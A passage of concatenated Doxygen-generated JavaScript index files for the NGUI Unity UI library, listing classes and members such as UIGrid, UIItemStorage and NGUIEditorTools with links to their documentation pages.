[ "IntRect", "d7/d56/class_n_g_u_i_editor_tools.html#a913599880c5a7a5248466b17a7e72702", null ],
[ "RegisterUndo", "d7/d56/class_n_g_u_i_editor_tools.html#adcee3f17959ec9d1e066f6461e231cae", null ],
[ "SelectedRoot", "d7/d56/class_n_g_u_i_editor_tools.html#adce07d47d0bc02facdac11226a90ef1b", null ],
[ "WillLosePrefab", "d7/d56/class_n_g_u_i_editor_tools.html#aefc6ab99cd49f2d38b26b65ab582cd54", null ],
[ "backdropTexture", "d7/d56/class_n_g_u_i_editor_tools.html#a93b4625db4c36e6e82b1ddebabff5901", null ],
[ "blankTexture", "d7/d56/class_n_g_u_i_editor_tools.html#a7640a59a33528fd58e7b82fe32c7d86f", null ],
[ "contrastTexture", "d7/d56/class_n_g_u_i_editor_tools.html#ae614ecaf79a8dabf15e615bdfb75744f", null ],
[ "gradientTexture", "d7/d56/class_n_g_u_i_editor_tools.html#a030ee8cbf5492a993e4aaacf153ec713", null ]
];<file_sep>/nguiApi/NGUIDocs/db/d4a/class_u_i_item_storage.js
var class_u_i_item_storage =
[
[ "GetItem", "db/d4a/class_u_i_item_storage.html#abee406128d96055763b3fa8554be9aca", null ],
[ "Replace", "db/d4a/class_u_i_item_storage.html#ab5fe2c24db46f149aa6dbcc70fe7597e", null ],
[ "background", "db/d4a/class_u_i_item_storage.html#a405b781e5008d71af07e8a379c3d2b56", null ],
[ "maxColumns", "db/d4a/class_u_i_item_storage.html#a629f294909ac74a6fe2bd34d7472f486", null ],
[ "maxItemCount", "db/d4a/class_u_i_item_storage.html#a207ff84aef2aecc6a76afdbfa6e45552", null ],
[ "maxRows", "db/d4a/class_u_i_item_storage.html#abd2f375b154a27bff70694204e0ad64c", null ],
[ "padding", "db/d4a/class_u_i_item_storage.html#a1dbedfb75e2a77d3dcd534adb3391def", null ],
[ "spacing", "db/d4a/class_u_i_item_storage.html#a3293cd19d0d03fc04f19608233aa3a5a", null ],
[ "template", "db/d4a/class_u_i_item_storage.html#a54f95309b8f4aaaa9dd91add3a49e4b2", null ],
[ "items", "db/d4a/class_u_i_item_storage.html#afb8ed34e1d4f40bb48aecba623352d6f", null ]
];<file_sep>/nguiApi/NGUIDocs/search/properties_77.js
var searchData=
[
['widgets',['widgets',['../da/deb/class_u_i_panel.html#a5d0bc1f4ab8c122c07c7b0f8831a2929',1,'UIPanel']]]
];
<file_sep>/nguiApi/NGUIDocs/search/classes_6e.js
var searchData=
[
['nguidebug',['NGUIDebug',['../d9/db5/class_n_g_u_i_debug.html',1,'']]],
['nguieditortools',['NGUIEditorTools',['../d7/d56/class_n_g_u_i_editor_tools.html',1,'']]],
['nguijson',['NGUIJson',['../d2/d10/class_n_g_u_i_json.html',1,'']]],
['nguimath',['NGUIMath',['../d0/d11/class_n_g_u_i_math.html',1,'']]],
['nguimenu',['NGUIMenu',['../d6/d52/class_n_g_u_i_menu.html',1,'']]],
['nguiselectiontools',['NGUISelectionTools',['../dd/de0/class_n_g_u_i_selection_tools.html',1,'']]],
['nguitools',['NGUITools',['../d8/dee/class_n_g_u_i_tools.html',1,'']]],
['nguitransforminspector',['NGUITransformInspector',['../d5/d86/class_n_g_u_i_transform_inspector.html',1,'']]]
];
<file_sep>/nguiApi/NGUIDocs/d5/d18/class_lag_rotation.js
var class_lag_rotation =
[
[ "ignoreTimeScale", "d5/d18/class_lag_rotation.html#aa1487a29dde423c2cc0c9343b3e3c34c", null ],
[ "speed", "d5/d18/class_lag_rotation.html#aba0caed577c7652fb8da9b88e7baa0d8", null ],
[ "updateOrder", "d5/d18/class_lag_rotation.html#ad8461d51398de572f6c2142ff4f7e675", null ]
];<file_sep>/nguiApi/NGUIDocs/d5/dc0/class_u_i_drag_camera.js
var class_u_i_drag_camera =
[
[ "ConstrainToBounds", "d5/dc0/class_u_i_drag_camera.html#ac6a514d00b8fc93eb55601d2416fb5bd", null ],
[ "dragEffect", "d5/dc0/class_u_i_drag_camera.html#a83963660ffff3345b8174691146bf716", null ],
[ "momentumAmount", "d5/dc0/class_u_i_drag_camera.html#a311c70529e5fffd6c57206c2850f8c4f", null ],
[ "rootForBounds", "d5/dc0/class_u_i_drag_camera.html#a38769543b554f555bbcc44f6e25ae758", null ],
[ "scale", "d5/dc0/class_u_i_drag_camera.html#ae6f72d3a214e019dc8599412c35c5960", null ],
[ "scrollWheelFactor", "d5/dc0/class_u_i_drag_camera.html#ac3278b0a7791d314af26d19c97ad2a94", null ],
[ "target", "d5/dc0/class_u_i_drag_camera.html#afa963d2e4c63e94a7b946c67154db5d6", null ]
];<file_sep>/nguiApi/NGUIDocs/search/properties_65.js
var searchData=
[
['effectcolor',['effectColor',['../db/d1c/class_u_i_label.html#a8ff93ade91ff677d2e6c1277c145c95e',1,'UILabel']]],
['effectstyle',['effectStyle',['../db/d1c/class_u_i_label.html#a693d2574d3d3f995b8e548f74ec944ac',1,'UILabel']]],
['eventhandler',['eventHandler',['../de/d25/class_u_i_camera.html#a38c3da5676befdd4b64f86acfb71ad38',1,'UICamera']]]
];
<file_sep>/nguiApi/NGUIDocs/search/variables_63.js
var searchData=
[
['callwhenfinished',['callWhenFinished',['../d6/d23/class_active_animation.html#adf1c5a00747e48b6c9dc18b88c2f8ae3',1,'ActiveAnimation.callWhenFinished()'],['../db/d3d/class_u_i_tweener.html#a040bbe7caf777551159b81830cb2abe7',1,'UITweener.callWhenFinished()']]],
['color',['color',['../db/dd9/class_inv_base_item.html#a71e82d2bb6dda62e4cbc11d9c46c8f3b',1,'InvBaseItem']]],
['cols',['cols',['../da/dc9/class_u_i_geometry.html#a150fa3c572467080db8dcb8c69ebfa4f',1,'UIGeometry']]]
];
<file_sep>/nguiApi/NGUIDocs/d9/db5/class_n_g_u_i_debug.js
var class_n_g_u_i_debug =
[
[ "DrawBounds", "d9/db5/class_n_g_u_i_debug.html#a53b366917cf6258e5fd5c059b3cbbb5d", null ],
[ "Log", "d9/db5/class_n_g_u_i_debug.html#a0f9d677e8207da7d2aefdca4bf6745ab", null ]
];<file_sep>/nguiApi/NGUIDocs/da/dc9/class_u_i_geometry.js
var class_u_i_geometry =
[
[ "ApplyOffset", "da/dc9/class_u_i_geometry.html#a581c473a0d20dcbe00b3de1288b349d2", null ],
[ "ApplyTransform", "da/dc9/class_u_i_geometry.html#a8eaba2aa6807dfa2b1ac78d91d7fca83", null ],
[ "Clear", "da/dc9/class_u_i_geometry.html#a1986b0c83b78945ec994073e30230926", null ],
[ "WriteToBuffers", "da/dc9/class_u_i_geometry.html#af2ca18e21c111394be7b251c3665e0ce", null ],
[ "cols", "da/dc9/class_u_i_geometry.html#a150fa3c572467080db8dcb8c69ebfa4f", null ],
[ "uvs", "da/dc9/class_u_i_geometry.html#a70ebe64825fcf4a8c20f1ebc5b01d463", null ],
[ "verts", "da/dc9/class_u_i_geometry.html#a21faf5d28120b8288b1b3378acee39c1", null ],
[ "hasTransformed", "da/dc9/class_u_i_geometry.html#a922c3e7cd5248c90cfdee25ff5e403b1", null ],
[ "hasVertices", "da/dc9/class_u_i_geometry.html#ad4172abd918d0d472fae43f1872a487e", null ]
];<file_sep>/nguiApi/NGUIDocs/de/d2a/class_u_i_text_list_1_1_paragraph.js
var class_u_i_text_list_1_1_paragraph =
[
[ "lines", "de/d2a/class_u_i_text_list_1_1_paragraph.html#a249297e98d579657cbf573778b61c5a7", null ],
[ "text", "de/d2a/class_u_i_text_list_1_1_paragraph.html#ac57fa191bd1a6f40f9e51acb9da36ff0", null ]
];<file_sep>/nguiApi/NGUIDocs/da/dc2/class_u_i_grid.js
var class_u_i_grid =
[
[ "Arrangement", "da/dc2/class_u_i_grid.html#a3b71e32581492ef6f5a1bd7e34e46b24", null ],
[ "Reposition", "da/dc2/class_u_i_grid.html#ad81eab6dc4c5a8cb7da80ea1f109ba32", null ],
[ "SortByName", "da/dc2/class_u_i_grid.html#a6ba3969030af216412c673b543b4310b", null ],
[ "arrangement", "da/dc2/class_u_i_grid.html#a875ea291d94baab4576057e89ec6facc", null ],
[ "cellHeight", "da/dc2/class_u_i_grid.html#a5331183786e7173d683ffd1eb152c1e8", null ],
[ "cellWidth", "da/dc2/class_u_i_grid.html#a174565a635af0e79e3ab92b4034a2a90", null ],
[ "hideInactive", "da/dc2/class_u_i_grid.html#aafca11164cc1eaef86b05d00d8a91e0b", null ],
[ "maxPerLine", "da/dc2/class_u_i_grid.html#a34cf8399162d39d9eb116fe9f8755297", null ],
[ "repositionNow", "da/dc2/class_u_i_grid.html#a5c68769763ce8fb497edd3bba07c95ee", null ],
[ "sorted", "da/dc2/class_u_i_grid.html#abf7748ebfa1f026c3a6a9fc237d5e408", null ]
];<file_sep>/nguiApi/NGUIDocs/d3/de7/class_b_m_font_reader.js
var class_b_m_font_reader =
[
[ "Load", "d3/de7/class_b_m_font_reader.html#a561aad5390aae7990bb3ec70ac68c0e7", null ]
];<file_sep>/nguiApi/NGUIDocs/search/classes_62.js
var searchData=
[
['betterlist_2dg',['BetterList-g',['../d8/d01/class_better_list-g.html',1,'']]],
['bmfont',['BMFont',['../d0/d6a/class_b_m_font.html',1,'']]],
['bmfontreader',['BMFontReader',['../d3/de7/class_b_m_font_reader.html',1,'']]],
['bmglyph',['BMGlyph',['../d6/de2/class_b_m_glyph.html',1,'']]],
['bytereader',['ByteReader',['../d7/d5d/class_byte_reader.html',1,'']]]
];
<file_sep>/nguiApi/NGUIDocs/d9/d9a/class_inv_database.js
var class_inv_database =
[
[ "FindByID", "d9/d9a/class_inv_database.html#af7868fee7a49f9cd56b3ece40f3cb780", null ],
[ "FindByName", "d9/d9a/class_inv_database.html#a01e5d929d141708f2da79c569934820c", null ],
[ "FindItemID", "d9/d9a/class_inv_database.html#a565b442f2b49abf6aaf0f81524060060", null ],
[ "databaseID", "d9/d9a/class_inv_database.html#aacf09495ebfdfd924a2822978ac1b889", null ],
[ "iconAtlas", "d9/d9a/class_inv_database.html#ac91d85d3b5a4ce11e0c06f79532515b2", null ],
[ "items", "d9/d9a/class_inv_database.html#a1d7c659119b09e06a345b9ee2a77a12c", null ],
[ "list", "d9/d9a/class_inv_database.html#a5cac120808f73426ae0c042d266df286", null ]
];<file_sep>/nguiApi/NGUIDocs/search/variables_65.js
var searchData=
[
['eventreceiver',['eventReceiver',['../d0/dcb/class_u_i_popup_list.html#a317eaad8d28d5ebf2ec1cb281ace58c2',1,'UIPopupList.eventReceiver()'],['../db/d3d/class_u_i_tweener.html#a52b4f5b3ebc624c6137c9b9894e2d828',1,'UITweener.eventReceiver()']]],
['eventreceivermask',['eventReceiverMask',['../de/d25/class_u_i_camera.html#ad10a4cbcbd70f2520871cef9abc44a4a',1,'UICamera']]]
];
<file_sep>/nguiApi/NGUIDocs/dc/dcb/class_u_i_forward_events.js
var class_u_i_forward_events =
[
[ "onClick", "dc/dcb/class_u_i_forward_events.html#a2af42a5f2e6cb2bbdc2fc0726fbcd692", null ],
[ "onDrag", "dc/dcb/class_u_i_forward_events.html#a44dcf4a64aea0bf3ea105473a34491d1", null ],
[ "onDrop", "dc/dcb/class_u_i_forward_events.html#a934f8b36296a56ebcc4e71a708edaa55", null ],
[ "onHover", "dc/dcb/class_u_i_forward_events.html#a4cfc25048a0d5d3044d65d5b4dfa8fe7", null ],
[ "onInput", "dc/dcb/class_u_i_forward_events.html#a323f3f3674fcc9a4f1edc20c5112b0e5", null ],
[ "onPress", "dc/dcb/class_u_i_forward_events.html#a4a0d25b32e3948daf6cf35984756f4f9", null ],
[ "onSelect", "dc/dcb/class_u_i_forward_events.html#af5c6342d9dfeb69c82dcc8865b3b9fab", null ],
[ "onSubmit", "dc/dcb/class_u_i_forward_events.html#a789c0a36885899528c0013e52df3dc35", null ],
[ "target", "dc/dcb/class_u_i_forward_events.html#a9b518b10ffa44308d5854f0aeb07e810", null ]
];<file_sep>/nguiApi/NGUIDocs/de/d1b/class_u_i_input_saved.js
var class_u_i_input_saved =
[
[ "playerPrefsField", "de/d1b/class_u_i_input_saved.html#aeb994a401a8699fc68c0fa920f1b9d32", null ]
];<file_sep>/nguiApi/NGUIDocs/de/d8f/namespace_animation_or_tween.js
var namespace_animation_or_tween =
[
[ "Direction", "de/d8f/namespace_animation_or_tween.html#a8cf85fc9e005b9c3e92a3c0cb007b6f3", null ],
[ "DisableCondition", "de/d8f/namespace_animation_or_tween.html#a29968ed3244375a2f655cbde3988e16d", null ],
[ "EnableCondition", "de/d8f/namespace_animation_or_tween.html#ac86faccf2cbae68361ef759a64d556f2", null ],
[ "Trigger", "de/d8f/namespace_animation_or_tween.html#a370bba011306e02bb4af1ba6f5fc8dc6", null ]
];<file_sep>/nguiApi/NGUIDocs/search/properties_6d.js
var searchData=
[
['maincamera',['mainCamera',['../de/d25/class_u_i_camera.html#a113d0219806ce948c76de4dbdb3ed75a',1,'UICamera']]],
['maintexture',['mainTexture',['../d1/d68/class_u_i_widget.html#a736882b065d8d93709263dfee399f172',1,'UIWidget']]],
['material',['material',['../d0/dd6/class_u_i_draw_call.html#ab2ac1a024b9c51d9bc6a40de6bbf7762',1,'UIDrawCall.material()'],['../d1/d68/class_u_i_widget.html#a19855a209249c1fa748c925afbd2f598',1,'UIWidget.material()'],['../d5/de7/class_u_i_font.html#af16d67d496ce3ee8879c264f2536a87d',1,'UIFont.material()']]],
['multiline',['multiLine',['../db/d1c/class_u_i_label.html#abec48a2b6cea796170d764f2c0b989f1',1,'UILabel']]]
];
<file_sep>/nguiApi/NGUIDocs/search/classes_61.js
var searchData=
[
['activeanimation',['ActiveAnimation',['../d6/d23/class_active_animation.html',1,'']]]
];
<file_sep>/nguiApi/NGUIDocs/annotated.js
var annotated =
[
[ "ActiveAnimation", "d6/d23/class_active_animation.html", "d6/d23/class_active_animation" ],
[ "BetterList< T >", "d8/d01/class_better_list-g.html", "d8/d01/class_better_list-g" ],
[ "BMFont", "d0/d6a/class_b_m_font.html", "d0/d6a/class_b_m_font" ],
[ "BMFontReader", "d3/de7/class_b_m_font_reader.html", "d3/de7/class_b_m_font_reader" ],
[ "BMGlyph", "d6/de2/class_b_m_glyph.html", "d6/de2/class_b_m_glyph" ],
[ "ByteReader", "d7/d5d/class_byte_reader.html", "d7/d5d/class_byte_reader" ],
[ "ChatInput", "d7/de1/class_chat_input.html", "d7/de1/class_chat_input" ],
[ "ComponentSelector", "d6/d10/class_component_selector.html", "d6/d10/class_component_selector" ],
[ "UpdateManager.DestroyEntry", "dc/d8a/class_update_manager_1_1_destroy_entry.html", "dc/d8a/class_update_manager_1_1_destroy_entry" ],
[ "EquipItems", "d1/da2/class_equip_items.html", "d1/da2/class_equip_items" ],
[ "EquipRandomItem", "df/da8/class_equip_random_item.html", "df/da8/class_equip_random_item" ],
[ "IgnoreTimeScale", "d8/d04/class_ignore_time_scale.html", "d8/d04/class_ignore_time_scale" ],
[ "NGUIEditorTools.IntVector", "dc/d3e/struct_n_g_u_i_editor_tools_1_1_int_vector.html", "dc/d3e/struct_n_g_u_i_editor_tools_1_1_int_vector" ],
[ "InvAttachmentPoint", "d2/de4/class_inv_attachment_point.html", "d2/de4/class_inv_attachment_point" ],
[ "InvBaseItem", "db/dd9/class_inv_base_item.html", "db/dd9/class_inv_base_item" ],
[ "InvDatabase", "d9/d9a/class_inv_database.html", "d9/d9a/class_inv_database" ],
[ "InvDatabaseInspector", "db/d58/class_inv_database_inspector.html", "db/d58/class_inv_database_inspector" ],
[ "InvEquipment", "db/ded/class_inv_equipment.html", "db/ded/class_inv_equipment" ],
[ "InvFindItem", "da/d40/class_inv_find_item.html", null ],
[ "InvGameItem", "d3/dbc/class_inv_game_item.html", "d3/dbc/class_inv_game_item" ],
[ "InvStat", "d3/dd7/class_inv_stat.html", "d3/dd7/class_inv_stat" ],
[ "InvTools", "d2/de7/class_inv_tools.html", null ],
[ "BMGlyph.Kerning", "df/d3c/struct_b_m_glyph_1_1_kerning.html", "df/d3c/struct_b_m_glyph_1_1_kerning" ],
[ "LagPosition", "d7/dfe/class_lag_position.html", "d7/dfe/class_lag_position" ],
[ "LagRotation", "d5/d18/class_lag_rotation.html", "d5/d18/class_lag_rotation" ],
[ "LanguageSelection", "d8/d64/class_language_selection.html", null ],
[ "LoadLevelOnClick", "db/dfb/class_load_level_on_click.html", "db/dfb/class_load_level_on_click" ],
[ "Localization", "dd/d88/class_localization.html", "dd/d88/class_localization" ],
[ "LookAtTarget", "d5/d1d/class_look_at_target.html", "d5/d1d/class_look_at_target" ],
[ "UICamera.MouseOrTouch", "d3/d23/class_u_i_camera_1_1_mouse_or_touch.html", "d3/d23/class_u_i_camera_1_1_mouse_or_touch" ],
[ "NGUIDebug", "d9/db5/class_n_g_u_i_debug.html", "d9/db5/class_n_g_u_i_debug" ],
[ "NGUIEditorTools", "d7/d56/class_n_g_u_i_editor_tools.html", "d7/d56/class_n_g_u_i_editor_tools" ],
[ "NGUIJson", "d2/d10/class_n_g_u_i_json.html", "d2/d10/class_n_g_u_i_json" ],
[ "NGUIMath", "d0/d11/class_n_g_u_i_math.html", "d0/d11/class_n_g_u_i_math" ],
[ "NGUIMenu", "d6/d52/class_n_g_u_i_menu.html", "d6/d52/class_n_g_u_i_menu" ],
[ "NGUISelectionTools", "dd/de0/class_n_g_u_i_selection_tools.html", null ],
[ "NGUITools", "d8/dee/class_n_g_u_i_tools.html", "d8/dee/class_n_g_u_i_tools" ],
[ "NGUITransformInspector", "d5/d86/class_n_g_u_i_transform_inspector.html", "d5/d86/class_n_g_u_i_transform_inspector" ],
[ "PanWithMouse", "d1/db9/class_pan_with_mouse.html", "d1/db9/class_pan_with_mouse" ],
[ "UITextList.Paragraph", "de/d2a/class_u_i_text_list_1_1_paragraph.html", "de/d2a/class_u_i_text_list_1_1_paragraph" ],
[ "PlayIdleAnimations", "d5/de0/class_play_idle_animations.html", null ],
[ "SetColorOnSelection", "df/d6b/class_set_color_on_selection.html", null ],
[ "ShaderQuality", "d7/d41/class_shader_quality.html", null ],
[ "Spin", "d2/df0/class_spin.html", "d2/df0/class_spin" ],
[ "SpinWithMouse", "d6/ddd/class_spin_with_mouse.html", "d6/ddd/class_spin_with_mouse" ],
[ "SpringPosition", "df/d08/class_spring_position.html", "df/d08/class_spring_position" ],
[ "UIAtlas.Sprite", "d1/d1e/class_u_i_atlas_1_1_sprite.html", "d1/d1e/class_u_i_atlas_1_1_sprite" ],
[ "TweenColor", "da/d60/class_tween_color.html", "da/d60/class_tween_color" ],
[ "TweenPosition", "de/d50/class_tween_position.html", "de/d50/class_tween_position" ],
[ "TweenRotation", "d7/dbc/class_tween_rotation.html", "d7/dbc/class_tween_rotation" ],
[ "TweenScale", "d6/d0b/class_tween_scale.html", "d6/d0b/class_tween_scale" ],
[ "TweenTransform", "d9/d31/class_tween_transform.html", "d9/d31/class_tween_transform" ],
[ "TypewriterEffect", "d4/ddd/class_typewriter_effect.html", "d4/ddd/class_typewriter_effect" ],
[ "UIAnchor", "dd/d4d/class_u_i_anchor.html", "dd/d4d/class_u_i_anchor" ],
[ "UIAtlas", "d8/d96/class_u_i_atlas.html", "d8/d96/class_u_i_atlas" ],
[ "UIAtlasInspector", "d1/d4b/class_u_i_atlas_inspector.html", "d1/d4b/class_u_i_atlas_inspector" ],
[ "UIAtlasMaker", "de/d7b/class_u_i_atlas_maker.html", "de/d7b/class_u_i_atlas_maker" ],
[ "UIButtonColor", "de/df8/class_u_i_button_color.html", "de/df8/class_u_i_button_color" ],
[ "UIButtonKeys", "d6/d4e/class_u_i_button_keys.html", "d6/d4e/class_u_i_button_keys" ],
[ "UIButtonMessage", "d9/db0/class_u_i_button_message.html", "d9/db0/class_u_i_button_message" ],
[ "UIButtonOffset", "db/d63/class_u_i_button_offset.html", "db/d63/class_u_i_button_offset" ],
[ "UIButtonPlayAnimation", "d8/d7e/class_u_i_button_play_animation.html", "d8/d7e/class_u_i_button_play_animation" ],
[ "UIButtonRotation", "df/d87/class_u_i_button_rotation.html", "df/d87/class_u_i_button_rotation" ],
[ "UIButtonScale", "d5/dab/class_u_i_button_scale.html", "d5/dab/class_u_i_button_scale" ],
[ "UIButtonSound", "d9/d6c/class_u_i_button_sound.html", "d9/d6c/class_u_i_button_sound" ],
[ "UIButtonTween", "d7/dc5/class_u_i_button_tween.html", "d7/dc5/class_u_i_button_tween" ],
[ "UICamera", "de/d25/class_u_i_camera.html", "de/d25/class_u_i_camera" ],
[ "UICameraTool", "d5/dd3/class_u_i_camera_tool.html", "d5/dd3/class_u_i_camera_tool" ],
[ "UICheckbox", "de/d39/class_u_i_checkbox.html", "de/d39/class_u_i_checkbox" ],
[ "UICheckboxControlledComponent", "d8/d5c/class_u_i_checkbox_controlled_component.html", "d8/d5c/class_u_i_checkbox_controlled_component" ],
[ "UICheckboxControlledObject", "df/d1e/class_u_i_checkbox_controlled_object.html", "df/d1e/class_u_i_checkbox_controlled_object" ],
[ "UICreateNewUIWizard", "da/da0/class_u_i_create_new_u_i_wizard.html", "da/da0/class_u_i_create_new_u_i_wizard" ],
[ "UICreateWidgetWizard", "db/d96/class_u_i_create_widget_wizard.html", "db/d96/class_u_i_create_widget_wizard" ],
[ "UICursor", "d7/d74/class_u_i_cursor.html", "d7/d74/class_u_i_cursor" ],
[ "UIDragCamera", "d5/dc0/class_u_i_drag_camera.html", "d5/dc0/class_u_i_drag_camera" ],
[ "UIDragObject", "dc/d57/class_u_i_drag_object.html", "dc/d57/class_u_i_drag_object" ],
[ "UIDrawCall", "d0/dd6/class_u_i_draw_call.html", "d0/dd6/class_u_i_draw_call" ],
[ "UIDrawCallInspector", "d2/d46/class_u_i_draw_call_inspector.html", "d2/d46/class_u_i_draw_call_inspector" ],
[ "UIEquipmentSlot", "d3/d2f/class_u_i_equipment_slot.html", "d3/d2f/class_u_i_equipment_slot" ],
[ "UIEventListener", "d5/dfb/class_u_i_event_listener.html", "d5/dfb/class_u_i_event_listener" ],
[ "UIFilledSprite", "d5/dd3/class_u_i_filled_sprite.html", "d5/dd3/class_u_i_filled_sprite" ],
[ "UIFilledSpriteInspector", "df/d3a/class_u_i_filled_sprite_inspector.html", "df/d3a/class_u_i_filled_sprite_inspector" ],
[ "UIFont", "d5/de7/class_u_i_font.html", "d5/de7/class_u_i_font" ],
[ "UIFontInspector", "df/d3d/class_u_i_font_inspector.html", "df/d3d/class_u_i_font_inspector" ],
[ "UIFontMaker", "d9/d53/class_u_i_font_maker.html", null ],
[ "UIForwardEvents", "dc/dcb/class_u_i_forward_events.html", "dc/dcb/class_u_i_forward_events" ],
[ "UIGeometry", "da/dc9/class_u_i_geometry.html", "da/dc9/class_u_i_geometry" ],
[ "UIGrid", "da/dc2/class_u_i_grid.html", "da/dc2/class_u_i_grid" ],
[ "UIImageButton", "d0/d71/class_u_i_image_button.html", "d0/d71/class_u_i_image_button" ],
[ "UIImageButtonInspector", "d9/de0/class_u_i_image_button_inspector.html", "d9/de0/class_u_i_image_button_inspector" ],
[ "UIInput", "d0/ded/class_u_i_input.html", "d0/ded/class_u_i_input" ],
[ "UIInputSaved", "de/d1b/class_u_i_input_saved.html", "de/d1b/class_u_i_input_saved" ],
[ "UIItemSlot", "d1/d42/class_u_i_item_slot.html", "d1/d42/class_u_i_item_slot" ],
[ "UIItemStorage", "db/d4a/class_u_i_item_storage.html", "db/d4a/class_u_i_item_storage" ],
[ "UILabel", "db/d1c/class_u_i_label.html", "db/d1c/class_u_i_label" ],
[ "UILabelInspector", "de/dcf/class_u_i_label_inspector.html", "de/dcf/class_u_i_label_inspector" ],
[ "UILocalize", "d0/dd5/class_u_i_localize.html", "d0/dd5/class_u_i_localize" ],
[ "UINode", "d1/db1/class_u_i_node.html", "d1/db1/class_u_i_node" ],
[ "UIOrthoCamera", "dc/d6d/class_u_i_ortho_camera.html", null ],
[ "UIPanel", "da/deb/class_u_i_panel.html", "da/deb/class_u_i_panel" ],
[ "UIPanelInspector", "d8/dfc/class_u_i_panel_inspector.html", "d8/dfc/class_u_i_panel_inspector" ],
[ "UIPanelTool", "d3/d33/class_u_i_panel_tool.html", null ],
[ "UIPopupList", "d0/dcb/class_u_i_popup_list.html", "d0/dcb/class_u_i_popup_list" ],
[ "UIPopupListInspector", "d2/db3/class_u_i_popup_list_inspector.html", "d2/db3/class_u_i_popup_list_inspector" ],
[ "UIRoot", "d7/d28/class_u_i_root.html", "d7/d28/class_u_i_root" ],
[ "UISavedOption", "da/dc0/class_u_i_saved_option.html", null ],
[ "UISettings", "db/d73/class_u_i_settings.html", "db/d73/class_u_i_settings" ],
[ "UISlicedSprite", "d2/d9c/class_u_i_sliced_sprite.html", "d2/d9c/class_u_i_sliced_sprite" ],
[ "UISlicedSpriteInspector", "d1/dc8/class_u_i_sliced_sprite_inspector.html", "d1/dc8/class_u_i_sliced_sprite_inspector" ],
[ "UISlider", "df/d68/class_u_i_slider.html", "df/d68/class_u_i_slider" ],
[ "UISliderColors", "d8/dac/class_u_i_slider_colors.html", "d8/dac/class_u_i_slider_colors" ],
[ "UISprite", "d1/dc6/class_u_i_sprite.html", "d1/dc6/class_u_i_sprite" ],
[ "UISpriteAnimation", "d0/de4/class_u_i_sprite_animation.html", "d0/de4/class_u_i_sprite_animation" ],
[ "UISpriteAnimationInspector", "df/dc7/class_u_i_sprite_animation_inspector.html", "df/dc7/class_u_i_sprite_animation_inspector" ],
[ "UISpriteInspector", "d7/d42/class_u_i_sprite_inspector.html", "d7/d42/class_u_i_sprite_inspector" ],
[ "UIStorageSlot", "da/d0c/class_u_i_storage_slot.html", "da/d0c/class_u_i_storage_slot" ],
[ "UITable", "d6/d5b/class_u_i_table.html", "d6/d5b/class_u_i_table" ],
[ "UITextList", "df/ded/class_u_i_text_list.html", "df/ded/class_u_i_text_list" ],
[ "UITexture", "d4/d1b/class_u_i_texture.html", "d4/d1b/class_u_i_texture" ],
[ "UITextureInspector", "d5/d66/class_u_i_texture_inspector.html", "d5/d66/class_u_i_texture_inspector" ],
[ "UITiledSprite", "dc/d79/class_u_i_tiled_sprite.html", "dc/d79/class_u_i_tiled_sprite" ],
[ "UITiledSpriteInspector", "d4/d57/class_u_i_tiled_sprite_inspector.html", null ],
[ "UITooltip", "da/de4/class_u_i_tooltip.html", "da/de4/class_u_i_tooltip" ],
[ "UITweener", "db/d3d/class_u_i_tweener.html", "db/d3d/class_u_i_tweener" ],
[ "UIViewport", "d1/d5e/class_u_i_viewport.html", "d1/d5e/class_u_i_viewport" ],
[ "UIWidget", "d1/d68/class_u_i_widget.html", "d1/d68/class_u_i_widget" ],
[ "UIWidgetInspector", "d9/d44/class_u_i_widget_inspector.html", "d9/d44/class_u_i_widget_inspector" ],
[ "UpdateManager.UpdateEntry", "d1/dc7/class_update_manager_1_1_update_entry.html", "d1/dc7/class_update_manager_1_1_update_entry" ],
[ "UpdateManager", "d1/dc6/class_update_manager.html", "d1/dc6/class_update_manager" ],
[ "WindowAutoYaw", "d6/da0/class_window_auto_yaw.html", "d6/da0/class_window_auto_yaw" ],
[ "WindowDragTilt", "d5/da7/class_window_drag_tilt.html", "d5/da7/class_window_drag_tilt" ]
];<file_sep>/nguiApi/NGUIDocs/d2/d9c/class_u_i_sliced_sprite.js
var class_u_i_sliced_sprite =
[
[ "MakePixelPerfect", "d2/d9c/class_u_i_sliced_sprite.html#abc2f15b43b7d9fcd22ab98cdba2f4b2f", null ],
[ "OnFill", "d2/d9c/class_u_i_sliced_sprite.html#a3dfb1e77de7d9425d36f2241eaa83a74", null ],
[ "UpdateUVs", "d2/d9c/class_u_i_sliced_sprite.html#a207792f39643ba4c6868ea7f6dd1cad4", null ],
[ "mInner", "d2/d9c/class_u_i_sliced_sprite.html#a14ec36edd18ef847b15d59a3e9b6d249", null ],
[ "mInnerUV", "d2/d9c/class_u_i_sliced_sprite.html#abcc77f027a72483bd8f04af87b714607", null ],
[ "mScale", "d2/d9c/class_u_i_sliced_sprite.html#a983e9c59d8b4b7de6d94f9d70d744ca5", null ],
[ "fillCenter", "d2/d9c/class_u_i_sliced_sprite.html#a0fc29ce306c9f69d133851f867c94f79", null ],
[ "innerUV", "d2/d9c/class_u_i_sliced_sprite.html#a235df360d0a47a2d9491516223d3e6bf", null ]
];<file_sep>/nguiApi/NGUIDocs/search/classes_70.js
var searchData=
[
['panwithmouse',['PanWithMouse',['../d1/db9/class_pan_with_mouse.html',1,'']]],
['paragraph',['Paragraph',['../de/d2a/class_u_i_text_list_1_1_paragraph.html',1,'UITextList']]],
['playidleanimations',['PlayIdleAnimations',['../d5/de0/class_play_idle_animations.html',1,'']]]
];
<file_sep>/nguiApi/NGUIDocs/search/variables_6e.js
var searchData=
[
['name',['name',['../db/dd9/class_inv_base_item.html#a2c3d6fd79719d2c4bbf3df8e71ecee9d',1,'InvBaseItem']]]
];
<file_sep>/nguiApi/NGUIDocs/d7/d28/class_u_i_root.js
var class_u_i_root =
[
[ "automatic", "d7/d28/class_u_i_root.html#a16ff3ccbf1a095adf12162bd44c9203d", null ],
[ "manualHeight", "d7/d28/class_u_i_root.html#a2f0f14dc2996d287f10fad26a7985522", null ]
];<file_sep>/nguiApi/NGUIDocs/dd/d4d/class_u_i_anchor.js
var class_u_i_anchor =
[
[ "Side", "dd/d4d/class_u_i_anchor.html#af85cc62570230b68200fe10660e2eedf", null ],
[ "Update", "dd/d4d/class_u_i_anchor.html#a57b24c990bf2b5627892d024d894ee82", null ],
[ "depthOffset", "dd/d4d/class_u_i_anchor.html#a829ebcb95e4a602bb33bd29e503bb022", null ],
[ "halfPixelOffset", "dd/d4d/class_u_i_anchor.html#ae6bf43be90ebc26aa7f13fd43eaa5aea", null ],
[ "side", "dd/d4d/class_u_i_anchor.html#a52990e8812e67a1f63c7de39900830a5", null ],
